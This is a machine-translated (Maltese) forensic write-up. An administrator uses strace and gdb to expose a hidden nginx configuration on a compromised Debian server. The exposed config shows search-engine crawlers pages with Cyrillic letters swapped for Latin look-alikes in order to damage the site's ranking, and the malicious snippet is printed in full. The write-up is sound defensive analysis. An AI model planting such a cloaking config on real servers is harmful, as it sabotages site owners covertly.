Meta 'a' ma tkunx ugwali għal 'a'. Fid-dawl ta 'hack

Storja mill-aktar spjaċevoli ġrat lil wieħed mill-ħbieb tiegħi. Imma kemm irriżulta li kien spjaċevoli għal Mikhail, kien daqstant divertenti għalija.

Irrid ngħid li ħabib tiegħi huwa pjuttost UNIX-utent: jista 'jinstalla s-sistema huwa stess mysql, PHP u tagħmel settings sempliċi nginx.
U għandu tużżana jew waħda u nofs websajts iddedikati għall-għodod tal-kostruzzjoni.

Wieħed minn dawn is-siti ddedikati għall-lupi joqgħod sew fil-quċċata tal-magni tat-tiftix. Dan is-sit huwa reviżur mhux kummerċjali, iżda xi ħadd ħa l-vizzju li jattakkah. Dik DDoS, imbagħad forza bruta, imbagħad jiktbu kummenti oxxeni u jibagħtu abbużi lill-hosting u lill-RKN.
F'daqqa waħda, kollox ikkalma u din il-kalma rriżulta li ma kinitx tajba, u s-sit beda gradwalment iħalli l-linji ta 'fuq tar-riżultati tat-tfittxija.

Meta 'a' ma tkunx ugwali għal 'a'. Fid-dawl ta 'hack

Dak kien qal, allura l-rakkont tal-admin innifsu.

Kien riesaq ħin l-irqad meta t-telefon daqq: “San, mhux se tħares lejn is-server tiegħi? Jidhirli li kont hacked, ma nistax nipprova, iżda s-sentiment ma ħallinix għat-tielet ġimgħa. Forsi wasal biss iż-żmien li nagħmel kura għall-paranojja?”

Dak li segwiet kienet diskussjoni ta’ nofs siegħa li tista’ tiġi mqassra kif ġej:

  • il-ħamrija għall-hacking kienet pjuttost fertili;
  • attakkant jista' jikseb drittijiet ta' superutent;
  • l-attakk (jekk seħħ) kien immirat speċifikament lejn dan is-sit;
  • oqsma problematiċi ġew ikkoreġuti u għandek bżonn biss li tifhem jekk kienx hemm xi penetrazzjoni;
  • il-hack ma setax jaffettwa l-kodiċi tas-sit u d-databases.

Rigward l-aħħar punt.

Meta 'a' ma tkunx ugwali għal 'a'. Fid-dawl ta 'hack

L-IP frontend abjad biss iħares lejn id-dinja. M'hemm l-ebda skambju bejn il-backends u l-frontend ħlief http(s), l-utenti/passwords huma differenti, l-ebda ċwievet ma ġew skambjati. Fuq indirizzi griżi, il-portijiet kollha ħlief 80/443 huma magħluqa. L-IPs backend bojod huma magħrufa biss għal żewġ utenti, li Mikhail jafdahom kompletament.

Installat fuq il-frontend Debian 9 u sa meta ssir is-sejħa, is-sistema tiġi iżolata mid-dinja minn firewall estern u titwaqqaf.

"Ok, agħtini aċċess," niddeċiedi li nwarrab għal siegħa. "Se nara b'għajnejja stess."

Hawn u aktar:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Tfittex hack possibbli

Nibda s-server, l-ewwel in salvataġġ-mod. Inarma d-diski u naqlebhom awtorizzazzjonizkuk, l-istorja, zkuk tas-sistema, eċċ., kull meta jkun possibbli, niċċekkja d-dati tal-ħolqien tal-fajls, għalkemm nifhem li cracker normali kien "jiknesa" wara lilu nnifsu, u Misha kien diġà "merka" ħafna waqt li kien qed ifittex lilu nnifsu. .

Nibda fil-modalità normali, għad ma nifhimx verament x'għandek tfittex, nistudja l-konfigurazzjonijiet. L-ewwelnett, jien interessat fih nginx peress li, b'mod ġenerali, m'hemm xejn aktar fuq il-frontend ħlief dan.
Il-konfigurazzjonijiet huma żgħar, strutturati tajjeb f'tużżana fajls, jien biss inħares minnhom qattus'oh wieħed wieħed. Kollox jidher nadif, imma qatt ma taf jekk tlift xi ħaġa jinkludu, ħalluni nagħmel lista sħiħa:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ma fhimtx: "Fejn hi l-elenkar?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

It-tieni mistoqsija hija miżjuda mal-mistoqsija tal-elenkar: "Għaliex verżjoni antika bħal din ta 'nginx?"

Barra minn hekk, is-sistema temmen li l-aħħar verżjoni hija installata:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Qed inċempel:
- Misha, għaliex għamilt mill-ġdid nginx?
- Qmu, lanqas naf kif nagħmel dan!
- Ok, sew, mur torqod...

Nginx hija mibnija mill-ġdid b'mod ċar u l-output tal-elenkar li juża "-T" huwa moħbi għal raġuni. M'għadx hemm dubji dwar il-hacking u tista 'sempliċement taċċettaha u (peress li Misha biddel is-server b'wieħed ġdid xorta waħda) tikkunsidra l-problema solvuta.

U tabilħaqq, peress li xi ħadd kiseb id-drittijiet għeruq'ah, allura jagħmel sens biss li tagħmel installazzjoni mill-ġdid tas-sistema, u kien inutli li tfittex dak li kien ħażin hemmhekk, iżda din id-darba l-kurżità għelbet irqad. Kif nistgħu nsiru nafu dak li riedu jaħbu minna?

Ejja nippruvaw intraċċaw:

$ strace nginx -T

Aħna nħarsu lejha, ​​jidher ċar li m'hemmx biżżejjed linji fit-traċċa a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Biss għall-gost, ejja nqabblu s-sejbiet.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Naħseb li parti mill-kodiċi /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

tnaqqset għall-forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

jew

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

għalhekk il-lista b'"-T" mhix murija.

Imma kif nistgħu naraw il-konfigurazzjoni tagħna?

Jekk il-ħsieb tiegħi huwa korrett u l-problema hija biss fil-varjabbli ngx_dump_config ejja nippruvaw ninstallawha bl-użu gdb, fortunatament hemm ċavetta --with-cc-opt -g preżenti u nittama li l-ottimizzazzjoni -O2 mhux se tweġġagħna. Fl-istess ħin, peress li ma nafx kif ngx_dump_config jistgħu jiġu pproċessati fi każ 'T':, aħna mhux se nsejħu din il-blokka, iżda ninstallawha bl-użu każ 't':

Għaliex tista' tuża '-t' kif ukoll '-T'Ipproċessar tal-Blokk if(ngx_dump_config) jiġri ġewwa if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Naturalment, jekk il-kodiċi jinbidel f'din il-parti u mhux fi każ 'T':, allura l-metodu tiegħi mhux se jaħdem.

Ittestja nginx.confWara li diġà solviet il-problema b'mod sperimentali, ġie stabbilit li hija meħtieġa konfigurazzjoni minima biex il-malware jaħdem nginx tip:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Aħna se nużawha għall-qosor fl-artiklu.

Tnedija d-debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Il-passi:

  • tistabbilixxi breakpoint fil-funzjoni prinċipali ()
  • tniedi l-programm
  • ibdel il-valur tal-varjabbli li jiddetermina l-output tal-konfigurazzjoni ngx_dump_config=1
  • kompli/temm il-programm

Kif nistgħu naraw, il-konfigurazzjoni reali hija differenti minn tagħna, aħna nagħżlu biċċa parassitika minnha:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ejja nagħtu ħarsa lejn dak li qed jiġri hawn fl-ordni.

Huma determinati Aġent tal-Utentta' yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Paġni tas-servizz huma esklużi wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

U għal dawk li jaqgħu taħt iż-żewġ kundizzjonijiet ta 'hawn fuq

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

fit-test html-paġni jinbidlu 'O' fuq 'o' и 'A' fuq "a":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Dak id-dritt, l-unika sottili hija dik 'a' != 'a' kif ukoll 'o' != 'o':

Meta 'a' ma tkunx ugwali għal 'a'. Fid-dawl ta 'hack

Għalhekk, il-bots tal-magni tat-tiftix jirċievu, minflok test normali 100% Ċirilliku, żibel modifikat dilwit bil-Latin "a" и 'o'. Ma nazzardax niddiskuti kif dan jaffettwa s-SEO, iżda huwa improbabbli li taħlita ta' ittri bħal din se jkollha impatt pożittiv fuq il-pożizzjonijiet fir-riżultati tat-tfittxija.

X'nista 'ngħid, guys bl-immaġinazzjoni.

referenzi

Debugging bil-GDB
gdb(1) — paġna man Linux
strace(1) — paġna man Linux
Nginx - Modulu ngx_http_sub_module
Dwar srieraq, lupi u srieraq elettriċi

Sors: www.habr.com

Żid kumment